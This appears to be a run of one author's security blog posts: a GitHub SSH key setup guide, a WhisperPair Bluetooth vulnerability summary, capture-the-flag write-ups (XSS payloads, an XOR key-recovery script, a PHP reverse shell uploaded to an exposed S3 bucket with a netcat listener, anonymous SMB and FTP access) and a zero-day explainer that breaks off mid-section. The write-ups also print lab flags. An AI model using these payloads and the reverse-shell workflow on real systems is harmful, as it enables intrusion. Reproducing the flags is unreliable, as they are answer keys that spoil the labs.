SSH (Secure Shell) allows GitHub to verify your identity using cryptographic keys instead of passwords or personal access tokens. Once configured, Git operations become faster, more secure, and significantly more convenient.

In this guide, you'll learn how to set up GitHub SSH authentication using ED25519 keys on Windows, Linux, and macOS.

Why Use SSH with GitHub?

SSH authentication offers several benefits:

• Secure cryptographic authentication

• No need to repeatedly enter credentials

• Faster Git operations

• Better support for automation and CI/CD workflows

• Recommended by GitHub for repository access

Once configured, you can clone, pull, and push repositories without being prompted for GitHub credentials.

Prerequisites

Before getting started, make sure Git is installed on your system.

Tip: If Git is not installed, use the appropriate installation method for your operating system.

Windows

Download and install Git from:

https://git-scm.com/downloads

Ubuntu / Debian

sudo apt update
sudo apt install git

Fedora

sudo dnf install git

Arch Linux

sudo pacman -S git

macOS (Homebrew)

brew install git

Verify the installation:

git --version

You should see the installed Git version displayed in your terminal.

Step 1: Generate an SSH Key

Open your terminal and run:

ssh-keygen -t ed25519 -C "your-email@example.com"

Replace the email address with the one associated with your GitHub account.

Example:

ssh-keygen -t ed25519 -C "john@example.com"

You'll be prompted to choose a location for the key:

Enter file in which to save the key

Simply press Enter to use the default location.

You will then be asked to create a passphrase:

Enter passphrase (empty for no passphrase):

A passphrase is optional but recommended because it adds an extra layer of protection if your private key is ever exposed.

After completion, you should see output similar to:

Your identification has been saved in ~/.ssh/id_ed25519
Your public key has been saved in ~/.ssh/id_ed25519.pub

Step 2: Verify the SSH Key Files

Verify that the key pair was created successfully.

Linux / macOS

ls -la ~/.ssh

Windows

dir %USERPROFILE%\.ssh

You should see files similar to:

id_ed25519
id_ed25519.pub

The private key:

id_ed25519

The public key:

id_ed25519.pub

Never share your private key with anyone. Only the public key should be uploaded to GitHub.

Step 3: Display Your Public Key

Copy your public key using one of the following commands.

Linux / macOS

cat ~/.ssh/id_ed25519.pub

Windows

type %USERPROFILE%\.ssh\id_ed25519.pub

The output will look similar to:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... your-email@example.com

Copy the entire line.

Step 4: Add the SSH Key to GitHub

Log in to your GitHub account and navigate to:

https://github.com/settings/keys

Click New SSH Key.

Fill out the form:

Title

My Laptop

Key Type

Authentication Key

Paste the public key into the key field and click Add SSH Key.

GitHub may ask you to confirm your password or complete two-factor authentication.

Once saved, your device is authorized to authenticate with GitHub using SSH.

Step 5: Test the SSH Connection

Now it's time to verify that everything is working correctly.

Run:

ssh -T git@github.com

The first time you connect, you'll likely see:

The authenticity of host 'github.com' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])?

Type:

yes

and press Enter.

If the setup is successful, GitHub will respond with:

Hi yourusername! You've successfully authenticated, but GitHub does not provide shell access.

This confirms that your SSH key is correctly configured and recognized by GitHub.

Step 6: Configure Git Identity

Before working with repositories, configure your Git username and email.

git config --global user.name "Your Name"
git config --global user.email "your-email@example.com"

Verify the configuration:

git config --global --list

You should see your configured username and email address in the output.

Step 7: Clone a Repository Using SSH

Instead of cloning repositories using HTTPS:

https://github.com/username/repository.git

Use the SSH URL:

git@github.com:username/repository.git

Example:

git clone git@github.com:username/repository.git

The repository will now use SSH authentication automatically.

Step 8: Convert Existing Repositories from HTTPS to SSH

If you already have repositories cloned using HTTPS, you can switch them to SSH without recloning.

Check the current remote:

git remote -v

Example HTTPS remote:

https://github.com/username/repository.git

Change it to SSH:

git remote set-url origin git@github.com:username/repository.git

Verify the update:

git remote -v

You should now see:

git@github.com:username/repository.git

Step 9: Test Git Operations

Try pulling changes:

git pull

Or pushing changes:

git push

If everything is configured correctly, Git will authenticate automatically without requesting your GitHub credentials.

Common Issues and Fixes

Permission Denied (publickey)

If you receive:

Permission denied (publickey).

Check the following:

• The public key was added to the correct GitHub account

• The key was copied completely

• The private key exists in your .ssh directory

• You're using the correct GitHub account

Verify authentication again:

ssh -T git@github.com

Repository Not Found

Ensure:

• The repository exists

• You have access permissions

• The remote URL is correct

Check your remote URL:

git remote -v

Wrong GitHub Account

If you use multiple GitHub accounts, create separate SSH keys and configure SSH host aliases using the SSH config file.

This allows each repository to authenticate using the appropriate account.

Verify Which Remote Is Being Used

Run:

git remote -v

Expected output:

origin  git@github.com:username/repository.git (fetch)
origin  git@github.com:username/repository.git (push)

If you still see HTTPS URLs, update them using the commands shown earlier.

Understanding ED25519

You may have noticed the command uses:

ssh-keygen -t ed25519

ED25519 is a modern public-key signature algorithm designed to provide strong security with smaller key sizes and better performance than older alternatives like RSA.

GitHub recommends ED25519 keys whenever possible.

Unless you have a specific compatibility requirement, ED25519 is the preferred choice.

Final Thoughts

SSH authentication is one of the first configurations every developer should set up after installing Git.

The process takes only a few minutes, but it provides long-term benefits:

• Improved security

• Faster authentication

• Better automation support

• Cleaner Git workflows

Once configured, you'll be able to interact with GitHub repositories securely and efficiently without constantly entering credentials.

Whether you're contributing to open source projects, managing personal repositories, or working in professional development environments, SSH authentication is a setup worth implementing from day one.

Bluetooth technologies have made wireless connectivity faster and more convenient than ever. Features such as Google Fast Pair simplify the pairing process, allowing users to connect devices within seconds. However, convenience-focused features can sometimes introduce unexpected security risks.

Researchers recently disclosed WhisperPair (CVE-2025-36911), a vulnerability affecting certain Bluetooth accessories that support Google Fast Pair. The flaw stems from improper validation of pairing requests, potentially allowing unauthorized devices to establish connections without the owner's knowledge.

Because the attack only requires Bluetooth proximity, affected users may be vulnerable in public places such as airports, cafés, offices, and other crowded environments.

What Is WhisperPair?

WhisperPair is a security vulnerability discovered in the implementation of Google Fast Pair on certain Bluetooth-enabled accessories.

Under normal circumstances, a Bluetooth device should only accept pairing requests after the user explicitly places it into pairing mode. Researchers found that some Fast Pair-enabled devices fail to properly enforce this requirement, allowing pairing attempts to succeed even when pairing mode has not been enabled.

This weakness creates an opportunity for nearby attackers to establish unauthorized connections with vulnerable devices.

How the Attack Works

Unlike many attacks that require malware installation or physical access, WhisperPair can be exploited solely through Bluetooth communication.

A simplified attack flow is shown below:

1. An attacker comes within Bluetooth range of a vulnerable device.

2. A specially crafted Fast Pair request is transmitted.

3. The device incorrectly accepts the request despite not being in pairing mode.

4. The pairing process completes successfully.

5. The attacker gains access comparable to a legitimately paired device.

Depending on the affected hardware, this access could allow manipulation of audio functionality and other Bluetooth-related features.

Potential Impact

The severity of WhisperPair largely depends on the capabilities of the affected device.

Possible consequences include:

• Unauthorized audio playback

• Audio stream hijacking

• Association of accessories with attacker-controlled accounts

• Privacy concerns involving connected devices

• Potential misuse of microphone-enabled accessories in specific situations

One particularly concerning aspect of the vulnerability is that victims may remain unaware that an unauthorized pairing event has occurred.

Devices Reportedly Affected

Researchers identified vulnerabilities in multiple Fast Pair-enabled products during testing.

Examples include:

• Sony WH-1000XM series

• Google Pixel Buds

• JBL wireless audio devices

• Jabra wireless headphones

• Xiaomi earbuds

• Nothing earbuds

• Anker Soundcore Liberty series

As Fast Pair is widely adopted across the Bluetooth ecosystem, the potential attack surface is substantial.

How to Protect Yourself

While vendors work on security updates, users can take several steps to reduce their exposure.

1. Keep Device Firmware Updated

Manufacturers often release firmware updates to address newly discovered vulnerabilities. Check your device companion application or the manufacturer's support page regularly for updates.

2. Disable Bluetooth When Not Needed

If Bluetooth is not actively being used, disabling it can significantly reduce the risk of unauthorized pairing attempts.

3. Only Enable Pairing Mode When Necessary

Avoid leaving devices discoverable for extended periods. Enable pairing mode only when connecting a new device and disable it afterward.

4. Review Paired Devices Regularly

Periodically inspect the list of paired devices and remove any connections you do not recognize.

5. Monitor Unusual Behavior

Unexpected audio playback, connection prompts, or changes to Bluetooth settings may indicate unauthorized activity and should be investigated.

Why WhisperPair Matters

WhisperPair highlights a broader issue within modern technology: security controls must remain effective even when user convenience is prioritized.

As wireless accessories become increasingly integrated into everyday life, weaknesses in pairing workflows can create opportunities for unauthorized access and privacy violations. The discovery of WhisperPair serves as a reminder that secure implementation practices are just as important as innovative features.

Key Takeaways

• WhisperPair is tracked as CVE-2025-36911.

• The vulnerability affects certain devices implementing Google Fast Pair.

• Attackers may be able to establish unauthorized Bluetooth pairings.

• Exploitation requires physical Bluetooth proximity.

• Firmware updates and good Bluetooth hygiene can help reduce risk.

References

• KU Leuven Research on Fast Pair Attacks

• Malwarebytes Analysis of WhisperPair

• NVD Entry for CVE-2025-36911

Found This Helpful?

If you enjoyed this article and want to follow my work, feel free to connect with me:

• GitHub: s0n4jit

I regularly share writeups, technical walkthroughs, vulnerability analyses, and hands-on learning content.

The Merry XSSmas room demonstrates how improper input handling can lead to dangerous client-side vulnerabilities.

This challenge focuses on two common web vulnerabilities:

• Reflected XSS

• Stored XSS

The lab combines log analysis, JavaScript payload injection, and browser behavior to demonstrate how attackers can execute arbitrary scripts inside a victim’s browser.

By exploiting these vulnerabilities, both hidden flags can be recovered from McSkidy’s vulnerable message portal.

Lab Information

Understanding Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) occurs when a web application returns unsanitized user input directly to the browser.

If JavaScript code is injected successfully, the victim’s browser executes the payload as trusted code.

Common impacts include:

• Session hijacking

• Credential theft

• Cookie stealing

• Redirecting users

• Defacing web pages

• Executing malicious JavaScript

This room demonstrates two major XSS categories.

What Is Reflected XSS?

Reflected XSS occurs when user-controlled input is immediately reflected inside the server response without sanitization.

This commonly appears in:

• Search bars

• URL parameters

• Query strings

• Error messages

The payload is executed instantly when a victim visits a crafted URL.

Example:

<script>alert(1)</script>

If the server reflects this payload back into the webpage, the browser executes the JavaScript.

What Is Stored XSS?

Stored XSS is more dangerous because the malicious payload is permanently stored on the backend.

Every time another user loads the affected page, the payload executes automatically.

Common targets include:

• Blog comments

• Forums

• User profiles

• Message boards

• Chat systems

Stored XSS becomes persistent because the malicious script survives page reloads and affects multiple users.

Identifying the Attack Surface

The portal exposes multiple user-controlled input fields:

1. A search bar

2. A message submission form

Both features return user input directly into the browser without proper sanitization or escaping.

This immediately suggests testing for client-side script injection.

Exploiting the Reflected XSS Vulnerability

The first target was the search functionality.

Testing with a basic payload immediately confirmed reflected XSS.

<script>alert('You Have been H4cked')</script>

The browser executed the payload successfully.

The challenge hints toward Base64-encoded JavaScript payloads for recovering the official flag.

The following payload was used:

<script>alert(atob("VEhNe0V2aWxfQnVubnl9"))</script>

The JavaScript atob() function decodes Base64 content directly inside the browser.

When executed, the payload reveals the flag:

THM{Evil_Bunny}

Reflected XSS Flag :

THM{Evil_Bunny}

Exploiting the Stored XSS Vulnerability

The second attack targets the message submission form.

Since submitted messages are stored on the backend and displayed later, this creates a persistent XSS attack surface.

Initial testing:

<script>alert('H4cked by stored')</script>

The payload executed every time the page refreshed, confirming stored XSS.

The official payload used:

<script>alert(atob("VEhNe0V2aWxfU3RvcmVkX0VnZ30="))</script>

Once triggered, the browser decodes the Base64 string and displays the second flag.

Decoded result:

THM{Evil_Stored_Egg}

Stored XSS Flag :

THM{Evil_Stored_Egg}

Why the Vulnerability Exists

Both vulnerabilities exist because the application directly inserts user-controlled input into HTML responses without sanitization.

The application fails to:

• Escape HTML characters

• Validate dangerous input

• Filter JavaScript tags

• Encode user content safely

As a result, arbitrary JavaScript executes inside the browser context.

Mitigation Techniques

Proper mitigation requires both frontend and backend protections.

1. Escape User Input

Special characters should always be encoded before rendering:

<  >  "  '  /

This prevents browsers from interpreting injected HTML or JavaScript.

2. Avoid Using innerHTML

Using:

element.innerHTML = userInput;

allows attackers to inject arbitrary HTML and scripts.

Safer alternative:

element.textContent = userInput;

textContent treats all input as plain text instead of executable HTML.

3. Sanitize HTML Properly

If applications require formatted user content, use trusted sanitization libraries such as:

DOMPurify

Whitelist-based sanitization is significantly safer than manual filtering.

4. Harden Session Cookies

Secure cookie settings reduce the impact of XSS attacks.

Recommended flags:

HttpOnly
Secure
SameSite=Strict

These protections help prevent session theft and unauthorized cookie access.

Lessons Learned

This room demonstrates several important web security concepts:

• Difference between reflected and stored XSS

• How browsers execute injected JavaScript

• Why unsanitized input becomes dangerous

• Risks of rendering user-controlled content

• Importance of output encoding and sanitization

• Safe frontend rendering practices

Conclusion

Merry XSSmas provides an excellent beginner-friendly introduction to client-side web vulnerabilities and JavaScript injection attacks.

The challenge demonstrates how unsanitized user input can lead to both reflected and stored XSS vulnerabilities, allowing attackers to execute arbitrary JavaScript inside victim browsers.

It also reinforces the importance of secure input handling, output encoding, and frontend security best practices in modern web applications.

Flags Obtained :

THM{Evil_Bunny}
THM{Evil_Stored_Egg}

Happy hacking 🎄🔐

Introduction

The W1seGuy room demonstrates a classic cryptographic mistake: using XOR encryption with a short repeating key.

This challenge highlights how predictable plaintext combined with weak XOR implementations allows attackers to:

• Recover encryption keys

• Decrypt sensitive messages

• Break poorly designed encryption systems

• Retrieve hidden flags with minimal effort

The room is beginner-friendly while still teaching practical cryptographic concepts commonly seen in CTF challenges and insecure custom applications.

Lab Information

Understanding the Challenge

When connecting to the target service on port 1337, the server displays an XOR-encrypted message along with a prompt requesting the encryption key.

Example:

This XOR encoded text has flag 1: <hex string>
What is the encryption key?

The challenge uses a repeating five-character XOR key.

Internally, the encryption logic works like this:

cipher[i] = plaintext[i] XOR key[i % 5]
hex_output = cipher.encode().hex()

Every new connection generates a different random key, but the encryption methodology remains unchanged.

Because XOR encryption is reversible and the plaintext format is partially predictable, the key can be recovered.

Understanding XOR Weakness

XOR encryption uses the XOR operation between plaintext and key bytes.

The important property of XOR is that applying the same operation twice restores the original data.

cipher = plaintext XOR key
plaintext = cipher XOR key
key = cipher XOR plaintext

This becomes dangerous when:

• The plaintext format is predictable

• The key is short

• The key repeats

• No randomness is introduced

All TryHackMe flags begin with:

THM{

This predictable prefix immediately leaks the first four plaintext bytes.

Additionally, the closing brace:

}

helps recover the final key byte.

With these known characters, the full five-character XOR key can be reconstructed.

Recovering Flag 1

The server provides the following XOR-encrypted hex string:

110e752a3f7427543f3b003e4c103b31725b3a2c04284a622e290a41391a373241613a373e772332

To recover the plaintext and derive the encryption key, the following Python script was used.

import string

xor_output = "110e752a3f7427543f3b003e4c103b31725b3a2c04284a622e290a41391a373241613a373e772332"
key = ''
key_length = 5
target_letters = ["T", "H", "M", "{", "}"]
decrypted_msg = ''

decode_xored = bytes.fromhex(xor_output).decode()
options = list(string.ascii_letters + string.digits)

def key_gen(encrypted_char, target):
    for c in options:
        if chr(ord(encrypted_char) ^ ord(c)) == target:
            return c

for i in range(key_length):
    if i < key_length - 1:
        key += key_gen(decode_xored[i], target_letters[i])
    else:
        key += key_gen(decode_xored[-1], target_letters[i])

for i in range(len(decode_xored)):
    decrypted_msg += chr(ord(decode_xored[i]) ^ ord(key[i % len(key)]))

print(f"The encryption key is: {key}")
print(f"The decrypted message is: {decrypted_msg}")

Script Output

The encryption key is: EF8QO
The decrypted message is: THM{p1alntExtAtt4ckcAnr3alLyhUrty0urxOr}

Flag 1 :

THM{p1alntExtAtt4ckcAnr3alLyhUrty0urxOr}

Recovering Flag 2

To retrieve the second flag, the correct five-character XOR key must be submitted during the same server connection.

The server provides another XOR-encrypted string:

0e2c230e3c6b05021b381f1c1a34382e500d1e2f1b0a1c462d3628171d192810174539281c210731

Using the same known plaintext technique, the derived key becomes:

ZdnuL

Now connect to the server and submit the key.

nc <IP> 1337

Server prompt:

What is the encryption key?

Submit:

ZdnuL

Server Response

Congrats! That is the correct key!
Here is flag 2: THM{BrUt3_ForC1nG_XOR_cAn_B3_FuN_nO?}

Flag 2 :

THM{BrUt3_ForC1nG_XOR_cAn_B3_FuN_nO?}

Why This Attack Works

This challenge is vulnerable because it combines several weak cryptographic design choices:

• Repeating-key XOR encryption

• Predictable plaintext format

• Short encryption key

• No randomization or salting

• Direct exposure of encrypted output

Once even a small portion of plaintext becomes known, XOR relationships begin leaking key bytes rapidly.

This is why repeating-key XOR should never be used for secure encryption systems.

Lessons Learned

Key concepts demonstrated in this room include:

• How XOR encryption works

• Why repeating-key XOR is insecure

• Known plaintext attack fundamentals

• Recovering encryption keys from predictable data

• Importance of randomness in cryptographic systems

• Risks of custom cryptographic implementations

Conclusion

The W1seGuy room provides an excellent beginner-friendly introduction to cryptographic weaknesses caused by improper XOR implementations.

By exploiting predictable plaintext and repeating-key behavior, both encryption keys and hidden flags can be recovered efficiently.

This room is a strong practical example of why modern encryption standards exist and why custom cryptographic solutions often fail under analysis.

Tools Used

Thanks for reading.

We begin by scanning the target machine using Nmap to identify open ports and running services.

nmap -sV -sC 10.129.25.2

Output

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 03:50 EDT
Nmap scan report for 10.129.25.2
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Apache httpd 2.4.29

Analysis

Two ports are exposed:

• 22/tcp running SSH

• 80/tcp running Apache HTTP Server

Since HTTP is accessible, web enumeration becomes the primary attack surface.

Website Investigation

Opening the website reveals a simple landing page. Checking the Contact section exposes an email address containing the domain:

thetoppers.htb

Since the domain does not resolve automatically, add it manually to /etc/hosts.

sudo nano /etc/hosts

Add:

10.129.25.2 thetoppers.htb

This allows local hostname resolution.

Virtual Host Enumeration

Subdomain enumeration is the next logical step.

We use FFUF to fuzz virtual hosts using the Host header.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u "http://thetoppers.htb" \
-H "Host: FUZZ.thetoppers.htb" -fs 11952 -mc all

Output

s3                      [Status: 404, Size: 21]
gc._msdcs               [Status: 400, Size: 306]

Another method using Gobuster confirms the result.

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://thetoppers.htb --append-domain

Output

s3.thetoppers.htb Status: 404 [Size: 21]
gc._msdcs.thetoppers.htb Status: 400 [Size: 306]

The interesting subdomain discovered is:

s3.thetoppers.htb

Discovering Amazon S3

Visiting the subdomain shows behavior consistent with an Amazon S3 bucket.

This indicates the target may be exposing cloud storage functionality.

To interact with the service, install AWS CLI.

sudo apt install awscli

Configure AWS CLI:

aws configure

Enumerating the S3 Bucket

List available buckets using:

aws s3 ls --endpoint-url http://s3.thetoppers.htb

Output

2025-08-25 03:49:04 thetoppers.htb

A bucket named thetoppers.htb is exposed.

Now enumerate bucket contents.

aws s3 ls --endpoint-url http://s3.thetoppers.htb s3://thetoppers.htb

Output

PRE images/
2025-08-25 03:49:04          0 .htaccess
2025-08-25 03:49:04      11952 index.php

The presence of index.php confirms the server executes PHP code.

This is highly significant because it opens the possibility of remote code execution through file upload.

Gaining Remote Access

We can exploit the exposed S3 bucket by uploading a PHP reverse shell.

Download the PHP reverse shell from:

https://github.com/pentestmonkey/php-reverse-shell

Save the file as:

shell.php

Before uploading, modify the IP address and listening port inside the reverse shell script.

Uploading the Reverse Shell

Upload the payload to the S3 bucket.

aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/

Output

upload: ./shell.php to s3://thetoppers.htb/shell.php

Now start a Netcat listener.

nc -lvnp 8080

Once the uploaded PHP file is accessed through the browser, a reverse shell connection is established.

Listener Output

listening on [any] 8080 ...
connect to [10.10.14.122] from (UNKNOWN) [10.129.25.2] 33394
Linux three 4.15.0-189-generic x86_64

We now have remote shell access to the machine.

Capturing the Flag

Search for the flag file.

find / -name flag.txt 2>/dev/null

Output

/root/flag.txt

Display the flag contents.

cat /root/flag.txt

Root Flag :

a980d99281a28d638ac68b9bf9453c2b

Conclusion :

This machine demonstrates how dangerous exposed cloud storage can become when misconfigured.

Key concepts learned from this box:

• Web enumeration

• Virtual host fuzzing

• AWS S3 bucket enumeration

• AWS CLI usage

• PHP reverse shell exploitation

• Remote command execution

Three is an excellent beginner-friendly machine for understanding cloud-related attack surfaces in web applications.

Tools Used -

Machine Overview

Understanding SMB

SMB (Server Message Block) is a network protocol used primarily by Windows systems for file and printer sharing.

Some key facts:

• Allows remote file access across a network

• Commonly used in Windows environments

• Supports authentication and access control

• Frequently targeted during network enumeration

Modern SMB communication typically runs over TCP port 445.

Initial Enumeration

The first step is identifying open ports and running services.

nmap -sC -sV <TARGET_IP>

The scan reveals:

445/tcp open  microsoft-ds

From the scan results we can determine:

• Port 445 is open

• Service detected: microsoft-ds

• Target operating system: Windows

Question 1: What does SMB stand for?

Answer

Server Message Block

SMB enables systems to share files, directories, and other resources across a network.

Question 2: What port does SMB use?

Answer

445

Although older implementations used NetBIOS over port 139, modern SMB operates directly over TCP port 445.

Question 3: What service name appears on port 445?

Answer

microsoft-ds

This service identifier is commonly associated with SMB services running on Windows hosts.

Question 4: What operating system is running?

Answer

Windows

Both SMB behavior and service detection indicate a Windows-based machine.

Enumerating SMB Shares

Next, enumerate available shares without credentials.

smbclient -L //<TARGET_IP> -N

Example output:

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
WorkShares      Disk

Analysis

Four shares are exposed:

Question 5: How many shares are available?

Answer

4

The enumeration output shows four available shares.

Accessing the Shares

Now test whether any share permits anonymous access.

Attempt to connect:

smbclient //<TARGET_IP>/WorkShares -U anonymous

When prompted for a password, simply press Enter.

Connection succeeds.

Question 6: Which share allows access with a blank password?

Answer

WorkShares

This share can be accessed anonymously, making it the primary attack surface for the challenge.

Working Inside the SMB Shell

After connecting, you'll be dropped into the SMB interactive shell.

Useful commands:

ls
cd <directory>
pwd
get <filename>
mget *
exit

Question 7: Which command downloads files?

Answer

get

Example:

get flag.txt

To download multiple files:

mget *

Exploring WorkShares

List the contents of the share:

ls

Output:

Amy.J
James.P

The share contains directories belonging to two users.

Navigate into a directory:

cd James.P

List files:

ls

Continue exploring the available folders until a file containing the flag is discovered.

Retrieving the Flag

Once the flag file is located:

get flag.txt

Exit the SMB shell:

exit

Read the downloaded file:

cat flag.txt

The contents reveal the challenge flag.

Attack Path Summary

The complete workflow was:

1. Scan the target with Nmap

2. Identify SMB running on port 445

3. Enumerate available SMB shares

4. Discover the WorkShares share

5. Access the share anonymously

6. Browse user directories

7. Download files using get

8. Retrieve and read the flag

Commands Used

nmap -sC -sV <TARGET_IP>

smbclient -L //<TARGET_IP> -N

smbclient //<TARGET_IP>/WorkShares -U anonymous

ls

cd <directory>

get <filename>

cat flag.txt

Key Takeaways

This machine demonstrates several important enumeration concepts:

• Open SMB services should always be investigated.

• Anonymous SMB access can expose sensitive files.

• Share enumeration is often enough to gain initial footholds in Windows environments.

• Simple tools such as smbclient can reveal valuable information without requiring credentials.

For beginners, Dancing provides an excellent introduction to SMB enumeration and Windows share discovery while reinforcing the importance of thorough reconnaissance.

Conclusion

The Dancing machine is a straightforward but valuable exercise for anyone beginning their Hack The Box journey. It teaches the fundamentals of SMB enumeration, anonymous share access, and file retrieval while emphasizing the importance of methodical reconnaissance.

By understanding how to identify accessible shares and navigate SMB resources, you'll build skills that frequently appear in real-world network assessments and more advanced CTF challenges.

Fawn is one of the introductory Hack The Box machines designed for beginners. It focuses on a commonly exposed service: FTP (File Transfer Protocol).

By completing this machine, you'll learn:

• Basic network reconnaissance

• Service enumeration with Nmap

• FTP fundamentals

• Anonymous FTP authentication

• Retrieving files from an FTP server

Difficulty: Tier 0 (Beginner)

Reconnaissance

Before interacting with the target, I verified connectivity using ICMP.

ping 10.129.211.204

This confirms that the target is reachable on the network.

Next, I performed service enumeration using Nmap.

nmap -sC -sV 10.129.211.204

Output:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04 2021 flag.txt
Service Info: OS: Unix

The scan immediately reveals several important details:

• FTP is running on port 21

• The service version is vsftpd 3.0.3

• Anonymous login is enabled

• A file named flag.txt is accessible

• The target is running a Unix-based operating system

At this point, enumeration has already provided the path to the flag.

Understanding FTP

FTP stands for File Transfer Protocol.

It is used to transfer files between systems across a network. One important characteristic of traditional FTP is that data and credentials are transmitted in plaintext.

Modern environments often prefer:

SFTP (SSH File Transfer Protocol)

because it encrypts communications using SSH.

Connecting to the FTP Service

Since anonymous access is allowed, I connected using the FTP client.

ftp 10.129.211.204

Login:

Name: anonymous
Password: anonymous

After successful authentication, the server responds with:

230 Login successful

Common FTP response codes include:

Enumerating Available Files

After logging in, I listed the contents of the FTP directory.

ftp> ls

Output:

-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt

The server exposes a single file named:

flag.txt

Downloading the Flag

FTP uses the get command to download files.

ftp> get flag.txt

The file is transferred to the local machine.

To verify the contents:

cat flag.txt

Output:

035db21c881520061c53e0536e44f815

Machine completed.

Key Concepts Learned

FTP

A protocol used for transferring files across a network.

Port 21

The default port used by FTP servers.

Anonymous Login

A feature that allows users to authenticate without a traditional account.

Service Enumeration

The process of identifying services, versions, and configurations running on a target.

Nmap

A network scanner used to discover services and gather information about systems.

Tools Used

• Nmap

• FTP Client

• Ping

Key Takeaways

Completing Fawn reinforced several important fundamentals:

• Enumerate services before attempting exploitation.

• Always check for anonymous FTP access.

• Nmap scripting can reveal valuable information quickly.

• Misconfigured file-sharing services can expose sensitive files.

• Small findings during reconnaissance often lead directly to successful compromise.

Final Thoughts

Fawn is an excellent introduction to reconnaissance and service enumeration. While the machine is simple, it teaches an important lesson: thoroughly understanding exposed services can often be enough to achieve access without exploiting a vulnerability.

Unlike common malware or phishing attacks, zero-days target vulnerabilities that are completely unknown to software vendors and defenders. Because no patch exists when these vulnerabilities are discovered by attackers, organizations often have little warning before systems are compromised.

From nation-state espionage campaigns to large-scale corporate breaches, some of the most impactful cyberattacks in history have relied on zero-day vulnerabilities.

In this article, we'll explore what zero-day exploits are, why they are so dangerous, how attackers weaponize them, notable real-world examples, and the security measures organizations use to reduce their risk.

What Is a Zero-Day Exploit?

To understand zero-day exploits, it helps to break the concept into three parts.

Think of it like discovering a hidden entrance to a secure building that nobody else knows exists.

The hidden entrance is the vulnerability.

The lock-picking technique is the exploit.

Using that technique to enter the building is the attack.

The term zero-day refers to the fact that defenders have had zero days to prepare a fix or deploy protections.

Why Are Zero-Day Exploits So Dangerous?

Zero-day vulnerabilities represent one of the highest-risk categories of cyber threats.

No Security Patch Exists

Because the vulnerability is unknown, software vendors have not released a fix.

Traditional security practices such as updating software cannot protect users until the flaw becomes publicly known and a patch is developed.

High Success Rates

Most security products rely on known attack signatures, behavior patterns, or previously identified vulnerabilities.

When attackers use a brand-new exploit, many security tools may fail to recognize the threat immediately.

This gives attackers a significant advantage during the early stages of an attack.

Massive Potential Impact

Many zero-days affect widely used software and platforms.

Examples include:

• Microsoft Windows

• Google Chrome

• Apple iOS

• Android

• Microsoft Exchange

• Enterprise VPN appliances

• Cloud infrastructure software

A single vulnerability in one of these products can expose millions of users worldwide.

Extremely Valuable

Zero-day vulnerabilities are among the most valuable assets in the cyber ecosystem.

Security researchers may responsibly disclose vulnerabilities through bug bounty programs, while threat actors may attempt to sell exploits through underground markets.

Depending on the affected product and exploit reliability, some zero-days have reportedly been valued at hundreds of thousands or even millions of dollars.

How Zero-Day Exploits Are Discovered

Zero-days can be discovered by various groups:

Security Researchers

Ethical researchers continuously analyze software for vulnerabilities and often report findings directly to vendors through responsible disclosure programs.

Bug Bounty Hunters

Organizations such as:

• Google

• Microsoft

• Apple

• Meta

offer bug bounty programs that reward researchers for responsibly reporting vulnerabilities.

Examples:

• https://bughunters.google.com

• https://www.microsoft.com/msrc/bounty

• https://security.apple.com/bounty

• https://www.facebook.com/whitehat

Criminal Groups

Cybercriminals actively search for exploitable flaws that can be used for ransomware, data theft, credential harvesting, or financial fraud.

Nation-State Actors

Government-backed groups frequently invest significant resources into discovering and developing sophisticated zero-day exploits for intelligence gathering and cyber operations.

The Lifecycle of a Zero-Day Exploit

A zero-day attack usually follows a predictable lifecycle.

1. Discovery

A hidden vulnerability is discovered by a researcher, attacker, or organization.

At this stage, nobody else may know the flaw exists.

2. Weaponization

The vulnerability is transformed into a functioning exploit.

Attackers develop code capable of triggering the flaw and achieving their desired outcome, such as:

• Remote Code Execution (RCE)

• Privilege Escalation

• Information Disclosure

• Authentication Bypass

3. Delivery

The exploit is delivered to the target through methods such as:

• Phishing emails

• Malicious attachments

• Compromised websites

• Drive-by downloads

• Supply chain attacks

• Messaging applications

4. Exploitation

The vulnerability is successfully triggered.

Attackers may:

• Execute arbitrary code

• Gain system access

• Escalate privileges

• Install malware

• Move laterally through networks

5. Detection

Security teams, researchers, or affected users begin noticing unusual behavior.

Indicators may include:

• Unexpected crashes

• Suspicious network traffic

• Unauthorized account activity

• Malware infections

6. Disclosure and Patching

The vendor investigates the issue and develops a security update.

Organizations then begin patching affected systems to eliminate the vulnerability.

Real-World Zero-Day Exploit Examples

Pegasus Spyware

Between 2016 and 2021, the Pegasus spyware platform leveraged multiple iOS zero-day vulnerabilities.

What made Pegasus particularly dangerous was its ability to perform zero-click exploitation, meaning victims often did not need to interact with malicious content for infection to occur.

Targets reportedly included:

• Journalists

• Activists

• Political figures

• Government officials

Stuxnet

Discovered in 2010, Stuxnet remains one of the most sophisticated cyber weapons ever identified.

The malware utilized multiple Windows zero-day vulnerabilities and specifically targeted industrial control systems used in Iran's nuclear facilities.

Unlike traditional cyberattacks, Stuxnet produced physical consequences by disrupting centrifuge operations.

Microsoft Exchange Server Attacks

In 2021, multiple zero-day vulnerabilities affecting Microsoft Exchange Server were exploited at scale.

Organizations worldwide experienced compromise of email infrastructure, data exposure, and deployment of web shells that allowed persistent attacker access.

Thousands of systems were affected before patches became widely deployed.

Zero-Day vs N-Day Vulnerabilities

Many people confuse zero-days with regular vulnerabilities.

The distinction is important.

Once a vulnerability becomes publicly disclosed and patches become available, it transitions from a zero-day into an N-day vulnerability.

Ironically, many organizations are breached not by zero-days, but by old vulnerabilities that were never patched.

How Organizations Defend Against Zero-Day Threats

Zero-days cannot be completely prevented, but their impact can be significantly reduced.

